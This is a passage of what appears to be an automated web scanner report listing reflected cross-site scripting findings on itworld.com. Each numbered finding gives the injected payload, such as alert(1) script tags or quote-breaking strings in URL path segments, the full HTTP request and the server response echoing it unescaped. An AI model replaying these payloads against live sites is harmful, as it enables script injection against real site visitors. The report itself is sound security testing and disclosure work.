HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:05 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460305"
Content-Type: text/html; charset=utf-8
Content-Length: 57549
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:11 GMT
X-Varnish: 1038159767
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules2883a"-alert(1)-"e3f24b3504d/lyris/js/jquery.delegate.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you r
...[SNIP]...

1.458. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4ede4"-alert(1)-"70511a9ec5c was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/lyris4ede4"-alert(1)-"70511a9ec5c/js/jquery.delegate.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:53 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460353"
Content-Type: text/html; charset=utf-8
Content-Length: 57550
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:58 GMT
X-Varnish: 1038161295
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
ich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/lyris4ede4"-alert(1)-"70511a9ec5c/js/jquery.delegate.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you request
...[SNIP]...

1.459. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12bb0"><script>alert(1)</script>88e5e4c94f1 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/lyris12bb0"><script>alert(1)</script>88e5e4c94f1/js/jquery.delegate.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:48 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460348"
Content-Type: text/html; charset=utf-8
Content-Length: 57769
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:49 GMT
X-Varnish: 1038161108
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/lyris12bb0"><script>alert(1)</script>88e5e4c94f1/js/jquery.delegate.js?h"/>
...[SNIP]...

1.460. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73a01"><script>alert(1)</script>acd57537cbd was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/lyris/js73a01"><script>alert(1)</script>acd57537cbd/jquery.delegate.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:07 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460367"
Content-Type: text/html; charset=utf-8
Content-Length: 57769
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:12 GMT
X-Varnish: 1038161678
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/lyris/js73a01"><script>alert(1)</script>acd57537cbd/jquery.delegate.js?h"/>
...[SNIP]...

1.461. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b36ab"-alert(1)-"f252588aa60 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/lyris/jsb36ab"-alert(1)-"f252588aa60/jquery.delegate.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:16 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460376"
Content-Type: text/html; charset=utf-8
Content-Length: 57550
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:17 GMT
X-Varnish: 1038161910
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/lyris/jsb36ab"-alert(1)-"f252588aa60/jquery.delegate.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.
...[SNIP]...

1.462. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js

Issue detail

The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ac10"><script>alert(1)</script>a066e360fb5 was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/lyris/js/jquery.delegate.js2ac10"><script>alert(1)</script>a066e360fb5?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:24 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460384"
Content-Type: text/html; charset=utf-8
Content-Length: 57769
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:26 GMT
X-Varnish: 1038162151
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js2ac10"><script>alert(1)</script>a066e360fb5?h"/>
...[SNIP]...

1.463. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js

Issue detail

The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 888a7"-alert(1)-"d02d13c1fbe was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/lyris/js/jquery.delegate.js888a7"-alert(1)-"d02d13c1fbe?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:33 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460393"
Content-Type: text/html; charset=utf-8
Content-Length: 57549
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:35 GMT
X-Varnish: 1038162396
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
6-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js888a7"-alert(1)-"d02d13c1fbe";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.464. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/lyris.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/lyris.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cce69"-alert(1)-"7af0e836786 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sitescce69"-alert(1)-"7af0e836786/all/modules/itw/modules/lyris/js/lyris.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:55 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460055"
Content-Type: text/html; charset=utf-8
Content-Length: 57443
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:21:03 GMT
X-Varnish: 1959724131
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sitescce69"-alert(1)-"7af0e836786/all/modules/itw/modules/lyris/js/lyris.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find
...[SNIP]...

1.465. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/lyris.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/lyris.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 23ce1"><script>alert(1)</script>1ffbb629b3a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites23ce1"><script>alert(1)</script>1ffbb629b3a/all/modules/itw/modules/lyris/js/lyris.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:41 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460041"
Content-Type: text/html; charset=utf-8
Content-Length: 57663
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:47 GMT
X-Varnish: 1959723699
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites23ce1"><script>alert(1)</script>1ffbb629b3a/all/modules/itw/modules/lyris/js/lyris.js?h"/>
...[SNIP]...

1.466. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/lyris.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/lyris.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81923"><script>alert(1)</script>e67a5c93298 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules81923"><script>alert(1)</script>e67a5c93298/itw/modules/lyris/js/lyris.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:30 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460150"
Content-Type: text/html; charset=utf-8
Content-Length: 57664
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:31 GMT
X-Varnish: 252446347
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules81923"><script>alert(1)</script>e67a5c93298/itw/modules/lyris/js/lyris.js?h"/>
...[SNIP]...

1.467. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/lyris.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/lyris.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 93c50"-alert(1)-"9ead432e12d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules93c50"-alert(1)-"9ead432e12d/itw/modules/lyris/js/lyris.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:59 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460179"
Content-Type: text/html; charset=utf-8
Content-Length: 57449
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:03 GMT
X-Varnish: 252446851
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules93c50"-alert(1)-"9ead432e12d/itw/modules/lyris/js/lyris.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you
...[SNIP]...

1.468. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/lyris.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/lyris.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9b2a4"-alert(1)-"8ba79ce7ab2 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw9b2a4"-alert(1)-"8ba79ce7ab2/modules/lyris/js/lyris.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:39 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460219"
Content-Type: text/html; charset=utf-8
Content-Length: 57447
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:47 GMT
X-Varnish: 252447667
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw9b2a4"-alert(1)-"8ba79ce7ab2/modules/lyris/js/lyris.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you req
...[SNIP]...

1.469. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/lyris.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/lyris.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload df859"><script>alert(1)</script>fbc2ac5284f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itwdf859"><script>alert(1)</script>fbc2ac5284f/modules/lyris/js/lyris.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:18 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460198"
Content-Type: text/html; charset=utf-8
Content-Length: 57669
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:25 GMT
X-Varnish: 252447209
Age: 0
Via: 1.1 varnish
